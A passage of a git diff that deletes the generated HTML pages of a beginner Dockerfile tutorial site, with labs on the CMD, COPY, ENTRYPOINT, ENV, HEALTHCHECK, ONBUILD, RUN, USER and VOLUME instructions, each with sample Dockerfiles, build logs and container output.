CMD executable parameter1 parameter2
-

However, it is better practice to use the JSON array format:

-
CMD ["executable", "parameter1", "parameter2"]
-

A CMD command can be overridden by providing the executable and its parameters in the docker ​run command. For example:

-
FROM ubuntu
-RUN apt-get update
-CMD ["echo" , "Join CloudNativeFolks Community"]
-

build dockerfile

-
 docker build -t sangam14/cmd-dockerfile  -f dockerfile.cmd . 
-[+] Building 8.3s (7/7) FINISHED                                                                                                                                                                  
- => [internal] load build definition from dockerfile.cmd                                                                                                                                     0.0s
- => => transferring dockerfile: 125B                                                                                                                                                         0.0s
- => [internal] load .dockerignore                                                                                                                                                            0.0s
- => => transferring context: 2B                                                                                                                                                              0.0s
- => [internal] load metadata for docker.io/library/ubuntu:latest                                                                                                                             2.1s
- => [auth] library/ubuntu:pull token for registry-1.docker.io                                                                                                                                0.0s
- => CACHED [1/2] FROM docker.io/library/ubuntu@sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f                                                                       0.0s
- => [2/2] RUN apt-get update                                                                                                                                                                 6.0s
- => exporting to image                                                                                                                                                                       0.1s
- => => exporting layers                                                                                                                                                                      0.1s
- => => writing image sha256:c59a693968aab28243f6852d49be7299e0035e71e39b42f22c07be49cca74fb2                                                                                                 0.0s
- => => naming to docker.io/sangam14/cmd-dockerfile 
-

run docker container

-
Dockerfile git:(main) ✗ docker run sangam14/cmd-dockerfile 
-Join CloudNativeFolks Community
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-copy-instruction/index.html b/public/docker/dockerfile-lab-copy-instruction/index.html deleted file mode 100644 index 680351b..0000000 --- a/public/docker/dockerfile-lab-copy-instruction/index.html +++ /dev/null @@ -1,817 +0,0 @@ - - - - - - - - -Dockerfile Lab - COPY instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - COPY instruction

-
-
- - -

COPY is a dockerfile command that copies files from a local source location to a destination in the Docker container. A Dockerfile is a text file with instructions to set up a Docker container.

-

create myfile1.txt and myfile2.txt with following content :

-
# myfile1.txt
-Hello This is my first file !
-This is file will be copied in /usr/share directory from Docker host to Docker Container.
-
# myfile2.txt
-Hello This is my second file !
-This is file will be copied in /tmp directory from Docker host to Docker Container.
-

The general syntax of the COPY command is:

-
COPY <src> <dest>
-

Here, <src> and <dest>are file paths. <src> is the path to the source folder containing files to be copied. This option can be left empty to copy the contents of the current directory. The source of the files has to be a directory on the local computer.

-

<dest> is the destination of the COPY command inside the docker container. This is the path where files are to be copied.

-
# Instruction for Dockerfile to create a new image on top of the base image (ubuntu)
-# Using the base image ubuntu: latest
-FROM ubuntu:latest
-# Copying myfile1.txt to the containers /usr/share directory
-COPY myfile1.txt /usr/share
-# Copying myfile2.txt to the containers /tmp directory
-COPY myfile2.txt /tmp
-

Build Dockerfile using following Command

-
  Dockerfile git:(main) ✗ docker build -t sangam14/copy-dockerfile  -f dockerfile.copy .
-[+] Building 2.2s (9/9) FINISHED                                                                                                                                                                  
- => [internal] load build definition from dockerfile.copy                                                                                                                                    0.0s
- => => transferring dockerfile: 356B                                                                                                                                                         0.0s
- => [internal] load .dockerignore                                                                                                                                                            0.0s
- => => transferring context: 2B                                                                                                                                                              0.0s
- => [internal] load metadata for docker.io/library/ubuntu:latest                                                                                                                             2.1s
- => [auth] library/ubuntu:pull token for registry-1.docker.io                                                                                                                                0.0s
- => CACHED [1/3] FROM docker.io/library/ubuntu:latest@sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f                                                                0.0s
- => [internal] load build context                                                                                                                                                            0.0s
- => => transferring context: 344B                                                                                                                                                            0.0s
- => [2/3] COPY myfile1.txt /usr/share                                                                                                                                                        0.0s
- => [3/3] COPY myfile2.txt /tmp                                                                                                                                                              0.0s
- => exporting to image                                                                                                                                                                       0.0s
- => => exporting layers                                                                                                                                                                      0.0s
- => => writing image sha256:4c660d66bd5f94311a22be23394032e2f2dd45f40fb4831f8e083efe90488763                                                                                                 0.0s
- => => naming to docker.io/sangam14/copy-dockerfile    
-

check inside container and search for text file

-
➜  Dockerfile git:(main) ✗ docker run -it sangam14/copy-dockerfile bash                  
-root@27a3fbe098c3:/# ls
-bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
-root@27a3fbe098c3:/# cat /usr/share/myfile1.txt 
-# myfile1.txt
-Hello This is my first file !
-This is file will be copied in /usr/share directory from Docker host to Docker Container.root@27a3fbe098c3:/# ls
-bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
-root@27a3fbe098c3:/# cat /tmp/myfile2.txt 
-
-# myfile2.txt
-Hello This is my second file !
-This is file will be copied in /tmp directory from Docker host to Docker Container.root@27a3fbe098c3:/# 
-

both file successfully copied inside container

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-entrypoint-instruction/index.html b/public/docker/dockerfile-lab-entrypoint-instruction/index.html deleted file mode 100644 index ddfe7b0..0000000 --- a/public/docker/dockerfile-lab-entrypoint-instruction/index.html +++ /dev/null @@ -1,814 +0,0 @@ - - - - - - - - -Dockerfile Lab - Entrypoint instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - Entrypoint instruction

-
-
- - -

Running a Docker Container with ENTRYPOINT

-

Let’s learn the details in this case by actually executing ENTRYPOINT in exec form. The following is an example of a Dockerfile that uses the exec form of ENTRYPOINT, which outputs a character string on the command line.

-
FROM alpine
-ENTRYPOINT ["echo", "Hello!"]
-

Build dockerfile

-
➜  Dockerfile git:(main) ✗ docker build -t sangam14/entrypoint-dockerfile  -f dockerfile.entrypoint .
-[+] Building 3.2s (6/6) FINISHED                                                                                            
- => [internal] load build definition from dockerfile.entrypoint                                                        0.0s
- => => transferring dockerfile: 94B                                                                                    0.0s
- => [internal] load .dockerignore                                                                                      0.0s
- => => transferring context: 2B                                                                                        0.0s
- => [internal] load metadata for docker.io/library/alpine:latest                                                       3.1s
- => [auth] library/alpine:pull token for registry-1.docker.io                                                          0.0s
- => [1/1] FROM docker.io/library/alpine@sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a        0.0s
- => => resolve docker.io/library/alpine@sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a        0.0s
- => => sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a 1.64kB / 1.64kB                         0.0s
- => => sha256:c41ab5c992deb4fe7e5da09f67a8804a46bd0592bfdf0b1847dde0e0889d2bff 528B / 528B                             0.0s
- => => sha256:d74e625d91152966d38fe8a62c60daadb96d4b94c1a366de01fab5f334806239 1.49kB / 1.49kB                         0.0s
- => exporting to image                                                                                                 0.0s
- => => exporting layers                                                                                                0.0s
- => => writing image sha256:0d5a798a648339f8ea8094b10568eb2dc44540480deff55f680dfd689f787013                           0.0s
- => => naming to docker.io/sangam14/entrypoint-dockerfile                                                              0.0s
-

run docker container

-
 Dockerfile git:(main) ✗ docker run sangam14/entrypoint-dockerfile 
-Hello!
-➜  Dockerfile git:(main) ✗ docker run sangam14/entrypoint-dockerfile echo "sangam"
-Hello! echo sangam
-➜  Dockerfile git:(main) ✗ 
-

Overwrite with --entrypoint option

-

On the other hand, in ENTRYPOINT, you can change the instruction by using the option of —entrypoint as follows.

-
docker run --rm --entrypoint sh sangam14/entrypoint-dockerfile  -c 'echo "test"'
-test
-

CMD and ENTRYPOINT have similar roles and are confusing, but they have different functions. CMD, ENTRYPOINT, and ENTRYPOINT also behave differently between shell form and exec form, so it’s a good idea to use each function properly. The instructions in the Dockerfile are a bit complicated, but you can use them effectively if you understand them.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-env-instruction/index.html b/public/docker/dockerfile-lab-env-instruction/index.html deleted file mode 100644 index c08aa1e..0000000 --- a/public/docker/dockerfile-lab-env-instruction/index.html +++ /dev/null @@ -1,884 +0,0 @@ - - - - - - - - -Dockerfile Lab - ENV instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - ENV instruction

-
-
- - -

cat dockerfile

-
FROM alpine
-ENV appDescription This app is a sample of using ENV instructions
-ENV appName=env-demo
-ENV note1="The First Note First" note2=The\ Second\ Note\ Second \
-	note3="The Third Note Third"
-ENV changeMe="Old Value"
-CMD ["sh"]
-

build dockerfile

-

-➜  Dockerfile git:(main) ✗ docker build -t sangam14/env-dockerfile  -f dockerfile.env .
-[+] Building 0.1s (5/5) FINISHED                                                                                                                  
- => [internal] load build definition from dockerfile.env                                                                                     0.0s
- => => transferring dockerfile: 279B                                                                                                         0.0s
- => [internal] load .dockerignore                                                                                                            0.0s
- => => transferring context: 2B                                                                                                              0.0s
- => [internal] load metadata for docker.io/library/alpine:latest                                                                             0.0s
- => CACHED [1/1] FROM docker.io/library/alpine                                                                                               0.0s
- => exporting to image                                                                                                                       0.0s
- => => exporting layers                                                                                                                      0.0s
- => => writing image sha256:6f9741e9b952495e61c515945c4acd85d85aef1e631b7d37c348c26e9f5d216d                                                 0.0s
- => => naming to docker.io/sangam14/env-dockerfile                                                                                           0.0s
-

inspect Env Config

-
docker image inspect --format '{{json .Config}}' sangam14/env-dockerfile  | jq '.Env'
-[
-  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
-  "appDescription=This app is a sample of using ENV instructions",
-  "appName=env-demo",
-  "note1=The First Note First",
-  "note2=The Second Note Second",
-  "note3=The Third Note Third",
-  "changeMe=Old Value"
-]
-

change envirmonment variable

-

-docker  run --rm --env changeMe="New Value" --env adhoc="run time"   sangam14/env-dockerfile   env 
-PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-HOSTNAME=12804862fac4
-changeMe=New Value
-adhoc=run time
-appDescription=This app is a sample of using ENV instructions
-appName=env-demo
-note1=The First Note First
-note2=The Second Note Second
-note3=The Third Note Third
-HOME=/root
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-healthcheck-instruction/index.html b/public/docker/dockerfile-lab-healthcheck-instruction/index.html deleted file mode 100644 index af41c26..0000000 --- a/public/docker/dockerfile-lab-healthcheck-instruction/index.html +++ /dev/null @@ -1,879 +0,0 @@ - - - - - - - - -Dockerfile Lab - HEALTHCHECK instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - HEALTHCHECK instruction

-
-
- - -

cat Dockerfile

-
FROM nginx
-

build docker container

-
docker build -t sangam14/healthcheck-dockerfile  -f dockerfile.healthcheck .
-[+] Building 1.4s (6/6) FINISHED                                                                                                                  
- => [internal] load build definition from dockerfile.healthcheck                                                                             0.0s
- => => transferring dockerfile: 244B                                                                                                         0.0s
- => [internal] load .dockerignore                                                                                                            0.0s
- => => transferring context: 2B                                                                                                              0.0s
- => [internal] load metadata for docker.io/library/alpine:latest                                                                             0.0s
- => CACHED [1/2] FROM docker.io/library/alpine                                                                                               0.0s
- => [2/2] RUN apk add curl                                                                                                                   1.3s
- => exporting to image                                                                                                                       0.0s
- => => exporting layers                                                                                                                      0.0s
- => => writing image sha256:2486b7b700a94a3e91237b3b8720f2b36c6e5e6b90584638db8c328a78dd90f9                                                 0.0s
- => => naming to docker.io/sangam14/healthcheck-dockerfile                                                                                   0.0s 
-➜  Dockerfile git:(main) ✗ 
-

expose docker port on 80 port

-
➜  Dockerfile git:(main) ✗ docker container run --rm -d -p 80:80 --name health sangam14/healthcheck-dockerfile  
-408e0d86098c4136dd36c7abf51ce4c6eb495d5fd33056f2b9e9a1176434853e
-
FROM nginx
-RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
-HEALTHCHECK --interval=5s --timeout=3s \
-  CMD curl -fs http://localhost/ || exit 1
-

build dockerfile

-
  Dockerfile git:(main) ✗ docker build -t sangam14/healthcheck-dockerfile  -f dockerfile.healthcheck .         
-[+] Building 2.7s (6/6) FINISHED                                                                                                                  
- => [internal] load build definition from dockerfile.healthcheck                                                                             0.0s
- => => transferring dockerfile: 227B                                                                                                         0.0s
- => [internal] load .dockerignore                                                                                                            0.0s
- => => transferring context: 2B                                                                                                              0.0s
- => [internal] load metadata for docker.io/library/nginx:latest                                                                              0.0s
- => CACHED [1/2] FROM docker.io/library/nginx                                                                                                0.0s
- => [2/2] RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*                                                       2.6s
- => exporting to image                                                                                                                       0.0s
- => => exporting layers                                                                                                                      0.0s
- => => writing image sha256:c3b3dc3b23772975869bb5dc0dda8d877bcc16e6b408b31938f3deb309f92da7                                                 0.0s
- => => naming to docker.io/sangam14/healthcheck-dockerfile                                                                                   0.0s
-

inspect healthcheck

-
 docker inspect --format '{{json .State.Health}}' health                      
-{"Status":"healthy","FailingStreak":0,"Log":[{"Start":"2023-03-02T21:58:38.327900678Z","End":"2023-03-02T21:58:38.409811095Z","ExitCode":0,"Output":"<!DOCTYPE html>\n<html>\n<head>\n<title>Welcome to nginx!</title>\n<style>\nhtml { color-scheme: light dark; }\nbody { width: 35em; margin: 0 auto;\nfont-family: Tahoma, Verdana, Arial, sans-serif; }\n</style>\n</head>\n<body>\n<h1>Welcome to nginx!</h1>\n<p>If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.</p>\n\n<p>For online documentation and support please refer to\n<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\nCommercial support is available at\n<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n<p><em>Thank you for using nginx.</em></p>\n</body>\n</html>\n"},{"Start":"2023-03-02T21:58:43.417592375Z","End":"2023-03-02T21:58:43.510278458Z","ExitCode":0,"Output":"<!DOCTYPE html>\n<html>\n<head>\n<title>Welcome to nginx!</title>\n<style>\nhtml { color-scheme: light dark; }\nbody { width: 35em; margin: 0 auto;\nfont-family: Tahoma, Verdana, Arial, sans-serif; }\n</style>\n</head>\n<body>\n<h1>Welcome to nginx!</h1>\n<p>If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.</p>\n\n<p>For online documentation and support please refer to\n<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\nCommercial support is available at\n<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n<p><em>Thank you for using nginx.</em></p>\n</body>\n</html>\n"},{"Start":"2023-03-02T21:58:48.514938961Z","End":"2023-03-02T21:58:48.601586961Z","ExitCode":0,"Output":"<!DOCTYPE html>\n<html>\n<head>\n<title>Welcome to nginx!</title>\n<style>\nhtml { color-scheme: light dark; }\nbody { width: 35em; margin: 0 auto;\nfont-family: Tahoma, Verdana, Arial, sans-serif; }\n</style>\n</head>\n<body>\n<h1>Welcome to nginx!</h1>\n<p>If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.</p>\n\n<p>For online documentation and support please refer to\n<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\nCommercial support is available at\n<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n<p><em>Thank you for using nginx.</em></p>\n</body>\n</html>\n"},{"Start":"2023-03-02T21:58:53.606320671Z","End":"2023-03-02T21:58:53.693584213Z","ExitCode":0,"Output":"<!DOCTYPE html>\n<html>\n<head>\n<title>Welcome to nginx!</title>\n<style>\nhtml { color-scheme: light dark; }\nbody { width: 35em; margin: 0 auto;\nfont-family: Tahoma, Verdana, Arial, sans-serif; }\n</style>\n</head>\n<body>\n<h1>Welcome to nginx!</h1>\n<p>If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.</p>\n\n<p>For online documentation and support please refer to\n<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\nCommercial support is available at\n<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n<p><em>Thank you for using nginx.</em></p>\n</body>\n</html>\n"},{"Start":"2023-03-02T21:58:58.697104757Z","End":"2023-03-02T21:58:58.780027924Z","ExitCode":0,"Output":"<!DOCTYPE html>\n<html>\n<head>\n<title>Welcome to nginx!</title>\n<style>\nhtml { color-scheme: light dark; }\nbody { width: 35em; margin: 0 auto;\nfont-family: Tahoma, Verdana, Arial, sans-serif; }\n</style>\n</head>\n<body>\n<h1>Welcome to nginx!</h1>\n<p>If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.</p>\n\n<p>For online documentation and support please refer to\n<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\nCommercial support is available at\n<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n<p><em>Thank you for using nginx.</em></p>\n</body>\n</html>\n"}]}
-

--interval: This specifies the period between each health check (the default is 30s). - -★ --timeout: If no success response is received within this period, the health check is considered failed (the default is 30s). - -★ --start-period: The duration to wait before running the first health check. This is used to give a startup time for the container (the default is 0s). - -★ --retries : The container will be considered unhealthy if the health check failed consecutively for the given number of retries (the default is 3).

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-onbuild-instruction/index.html b/public/docker/dockerfile-lab-onbuild-instruction/index.html deleted file mode 100644 index 5a151d2..0000000 --- a/public/docker/dockerfile-lab-onbuild-instruction/index.html +++ /dev/null @@ -1,903 +0,0 @@ - - - - - - - - -Dockerfile Lab - ONBUILD instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - ONBUILD instruction

-
-
- - -

The ONBUILD instruction

-

The ONBUILD instruction is a trigger. It sets instructions that will be executed when another image is built from the image being build.

-

This is useful for building images which will be used as a base to build other images.

-
ONBUILD COPY . /src
-

You can’t chain ONBUILD instructions with ONBUILD. -ONBUILD can’t be used to trigger FROM instructions.

-
FROM nginx:1.16-alpine
-WORKDIR /usr/share/nginx/html
-ONBUILD COPY index.html . 
-

build dockerfile

-
docker build -t sangam14/onbuild-dockerfile  -f dockerfile.onbuild .
-[+] Building 5.8s (7/7) FINISHED                                                                                                                  
- => [internal] load build definition from dockerfile.onbuild                                                                                 0.0s
- => => transferring dockerfile: 129B                                                                                                         0.0s
- => [internal] load .dockerignore                                                                                                            0.0s
- => => transferring context: 2B                                                                                                              0.0s
- => [internal] load metadata for docker.io/library/nginx:1.16-alpine                                                                         3.3s
- => [auth] library/nginx:pull token for registry-1.docker.io                                                                                 0.0s
- => [1/2] FROM docker.io/library/nginx:1.16-alpine@sha256:5057451e461dda671da5e951019ddbff9d96a751fc7d548053523ca1f848c1ad                   2.4s
- => => resolve docker.io/library/nginx:1.16-alpine@sha256:5057451e461dda671da5e951019ddbff9d96a751fc7d548053523ca1f848c1ad                   0.0s
- => => sha256:f07e4bcf42b862c240f4c00f2f7ed362d7d93ca15151de547beda593f3b669e5 2.72MB / 2.72MB                                               0.8s
- => => sha256:078902f02c3a797288251014301298bd748886eaf5fc107e128cc1b4933ec57d 6.25MB / 6.25MB                                               2.1s
- => => sha256:5057451e461dda671da5e951019ddbff9d96a751fc7d548053523ca1f848c1ad 1.41kB / 1.41kB                                               0.0s
- => => sha256:75a7ebf15c39feb30c0444c1ab8d585fe490c35dca30c337e06b73c55fb0e30f 739B / 739B                                                   0.0s
- => => sha256:c3144a54094d9628d01573952dfc7b580a76f2a3570f72b8900df676a697c1bb 6.98kB / 6.98kB                                               0.0s
- => => extracting sha256:f07e4bcf42b862c240f4c00f2f7ed362d7d93ca15151de547beda593f3b669e5                                                    0.1s
- => => extracting sha256:078902f02c3a797288251014301298bd748886eaf5fc107e128cc1b4933ec57d                                                    0.3s
- => [2/2] WORKDIR /usr/share/nginx/html                                                                                                      0.0s
- => exporting to image                                                                                                                       0.0s
- => => exporting layers                                                                                                                      0.0s
- => => writing image sha256:8fc6b719b70ed34467487519cca45523b18eb6f394187d50b08f5157b495efe4                                                 0.0s
- => => naming to docker.io/sangam14/onbuild-dockerfile                                                                                       0.0s
-

create another dockerfile

-
From sangam14/onbuild-dockerfile     
-COPY index.html . 
-

here you will see default ngnix index page

-
 docker run -p 80:80 sangam14/onbuild-dockerfile   
-

build docker file

-

-docker build -t sangam14/onbuild1-dockerfile  -f dockerfile.onbuild1 .
-[+] Building 0.1s (8/8) FINISHED                                                                                                              
- => [internal] load build definition from dockerfile.onbuild1                                                                            0.0s
- => => transferring dockerfile: 107B                                                                                                     0.0s
- => [internal] load .dockerignore                                                                                                        0.0s
- => => transferring context: 2B                                                                                                          0.0s
- => [internal] load metadata for docker.io/sangam14/onbuild-dockerfile:latest                                                            0.0s
- => [internal] load build context                                                                                                        0.0s
- => => transferring context: 32B                                                                                                         0.0s
- => [1/2] FROM docker.io/sangam14/onbuild-dockerfile                                                                                     0.0s
- => [2/2] COPY index.html .                                                                                                              0.0s
- => [3/2] COPY index.html .                                                                                                              0.0s
- => exporting to image                                                                                                                   0.0s
- => => exporting layers                                                                                                                  0.0s
- => => writing image sha256:c2291a76ea7cf76b5449ad476d47880b3c5b1bf0119cf7d1fe54111f88db2157                                             0.0s
- => => naming to docker.io/sangam14/onbuild1-dockerfile     
-

above container copied index.html form local

-
docker run -p 80:80 sangam14/onbuild1-dockerfile  
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-run-instruction/index.html b/public/docker/dockerfile-lab-run-instruction/index.html deleted file mode 100644 index fcdd53e..0000000 --- a/public/docker/dockerfile-lab-run-instruction/index.html +++ /dev/null @@ -1,831 +0,0 @@ - - - - - - - - -Dockerfile Lab - RUN instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - RUN instruction

-
-
- - -

The RUN command is the central executing directive for Dockerfiles. It takes a command as its argument and runs it to form the image. Unlike CMD, it actually is used to build the image (forming another layer on top of the previous one which is committed).

-

create dockerfile with following content

-
FROM ubuntu
-RUN id
-RUN useradd --create-home -m -s /bin/bash dev
-# Add a fun prompt for dev user of my-app
-# whale: "\xF0\x9F\x90\xB3"
-# alien:"\xF0\x9F\x91\xBD"
-# fish:"\xF0\x9F\x90\xA0"
-# elephant:"\xF0\x9F\x91\xBD"
-# moneybag:"\xF0\x9F\x92\xB0"
-RUN echo 'PS1="\[$(tput bold)$(tput setaf 4)\]my-app $(echo -e "\xF0\x9F\x90\xB3") \[$(tput sgr0)\] [\\u@\\h]:\\W \\$ "' >> /home/dev/.bashrc && \
-    echo 'alias ls="ls --color=auto"' >> /home/dev/.bashrc
-
-RUN mkdir /myvol
-RUN echo "hello DQS Guide" > /myvol/greeting
-RUN ["chmod", "664", "/myvol/greeting"]
-RUN ["chown", "dev:dev", "/myvol/greeting"]
-VOLUME /myvol
-
-USER dev
-RUN id
-
-CMD ["/bin/bash"]
-

build docker container

-
 ➜  docker build -t  sangam14/run-dockerfile -f dockerfile.run .
-

run docer container

-
➜  Dockerfile git:(main) ✗ docker run -it  sangam14/run-dockerfile 
-

added user as my-app with whale emoji

-
my-app 🐳  [dev@0270ab5e6f0c]:/ $ ls
-bin  boot  dev  etc  home  lib  media  mnt  myvol  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
-my-app 🐳  [dev@0270ab5e6f0c]:/ $ cat myvol/greeting 
-hello DQS Guide
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-user-instruction/index.html b/public/docker/dockerfile-lab-user-instruction/index.html deleted file mode 100644 index 7b576c8..0000000 --- a/public/docker/dockerfile-lab-user-instruction/index.html +++ /dev/null @@ -1,844 +0,0 @@ - - - - - - - - -Dockerfile Lab - USER instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - USER instruction

-
-
- - -

cat dockerfile.user

-
FROM alpine
-USER dockerworkshop:dockerworkshop
-CMD ["sh"]
-

build dockerfile

-
docker build -t sangam14/user-dockerfile  -f dockerfile.user .
-[+] Building 0.1s (5/5) FINISHED                                                                                                                           
- => [internal] load build definition from dockerfile.user                                                                                             0.0s
- => => transferring dockerfile: 105B                                                                                                                  0.0s
- => [internal] load .dockerignore                                                                                                                     0.0s
- => => transferring context: 2B                                                                                                                       0.0s
- => [internal] load metadata for docker.io/library/alpine:latest                                                                                      0.0s
- => CACHED [1/1] FROM docker.io/library/alpine                                                                                                        0.0s
- => exporting to image                                                                                                                                0.0s
- => => exporting layers                                                                                                                               0.0s
- => => writing image sha256:48482459d09aecafaa0db190d6995b6d2339c0383c6cd97fafbea288124332c7                                                          0.0s
- => => naming to docker.io/sangam14/user-dockerfile  
-

run docker container in detach mode

-
docker container run -d sangam14/user-dockerfile 
-5880a92a14d3944a4be00a19d55a19dd941f0c1b9a7a7b9159febcc29a09ea98
-

If we check the owner of the sleep process on the host, we can see it belongs to the user with uid 1000, the one that is created in the image

-
ps aux | grep sleep
-sangambiradar    22103   0.0  0.0 408111776   1168 s000  S+    2:03AM   0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox sleep
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-volume-instruction/index.html b/public/docker/dockerfile-lab-volume-instruction/index.html deleted file mode 100644 index 8253e49..0000000 --- a/public/docker/dockerfile-lab-volume-instruction/index.html +++ /dev/null @@ -1,875 +0,0 @@ - - - - - - - - -Dockerfile Lab - Volume instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - Volume instruction

-
-
- - -

cat dockerfile.vol

-
FROM alpine
-RUN mkdir /myvol
-RUN echo "hello world" > /myvol/greeting
-VOLUME /myvol
-CMD ["sh"]
-

Build above dockerfile

-
docker build -t sangam14/vol-dockerfile  -f dockerfile.vol .            
-[+] Building 0.4s (7/7) FINISHED                                                                                                                           
- => [internal] load build definition from dockerfile.vol                                                                                              0.0s
- => => transferring dockerfile: 140B                                                                                                                  0.0s
- => [internal] load .dockerignore                                                                                                                     0.0s
- => => transferring context: 2B                                                                                                                       0.0s
- => [internal] load metadata for docker.io/library/alpine:latest                                                                                      0.0s
- => CACHED [1/3] FROM docker.io/library/alpine                                                                                                        0.0s
- => [2/3] RUN mkdir /myvol                                                                                                                            0.2s
- => [3/3] RUN echo "hello world" > /myvol/greeting                                                                                                    0.2s
- => exporting to image                                                                                                                                0.0s
- => => exporting layers                                                                                                                               0.0s
- => => writing image sha256:7d9ebad9eb42a7006dbb89c1a544e5fcbce3de83cb470210b89adf4ffc4670db                                                          0.0s
- => => naming to docker.io/sangam14/vol-dockerfile                                                                                                    0.0s
-

run dockerg

-
docker  run --rm -it --mount source=myvolsrc,target=/myvol sangam14/vol-dockerfile 
-

output

-
docker  run --rm -it --mount source=myvolsrc,target=/myvol sangam14/vol-dockerfile   
-/ # ls
